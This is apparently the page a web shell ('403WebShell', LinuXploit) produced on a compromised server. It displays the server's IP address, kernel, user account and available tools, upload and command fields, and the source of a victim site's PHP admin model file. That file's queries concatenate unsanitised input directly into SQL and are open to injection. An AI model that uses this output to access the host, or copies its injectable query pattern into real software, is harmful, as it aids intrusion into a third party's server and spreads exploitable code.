Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/aprendizajeodisea/admin/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/aprendizajeodisea/admin/model/clientes.php
<?php
/**
* model clientes
*/
class AdminModelClientes extends Model
{
	
	public function getClientes(){
		$query = $this->db->query
			("SELECT cliente_id,nombre,is_active
				FROM clientes
			");
		return $query;	
	}

	public function getCliente($cliente_id){
		$query = $this->db->query
			("SELECT cliente_id,nombre,introtext,content,imagen,weight,is_active
				FROM clientes
				WHERE cliente_id = ".$cliente_id."
			");
		return $query;	
	}

	public function addCliente($data){
		$query = $this->db->query
			("INSERT INTO clientes SET
				nombre		= '".$data['nombre']."',
				introtext	= '".$data['introtext']."',
				content		= '".$data['ck_content']."',
				imagen		= '".$data['imagen']."',
				weight		= '".$data['weight']."',
				is_active	= '".$data['is_active']."'
			");
		return $query;	
	}

	public function updateCliente($data){
		$query = $this->db->query
			("UPDATE clientes SET
				nombre		= '".$data['nombre']."',
				introtext	= '".$data['introtext']."',
				content		= '".$data['ck_content']."',
				imagen		= '".$data['imagen']."',
				weight		= '".$data['weight']."',
				is_active	= '".$data['is_active']."'
				WHERE cliente_id	= ".$data['cliente_id']."
			");
		return $query;	
	}

	public function getVarsCliente($datos = ''){
	
		if(!empty($datos) && $datos->num_rows > 0){
			$data = $datos->row;
		
			
		}else{
			$data['cliente_id'] 	= '';
			$data['nombre'] 		= '';
			$data['introtext']		= '';
			$data['content'] 		= '';
			$data['imagen'] 		= '';
			$data['weight'] 		= 0;
			$data['is_active'] 		= 1;
		}
			return $data;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit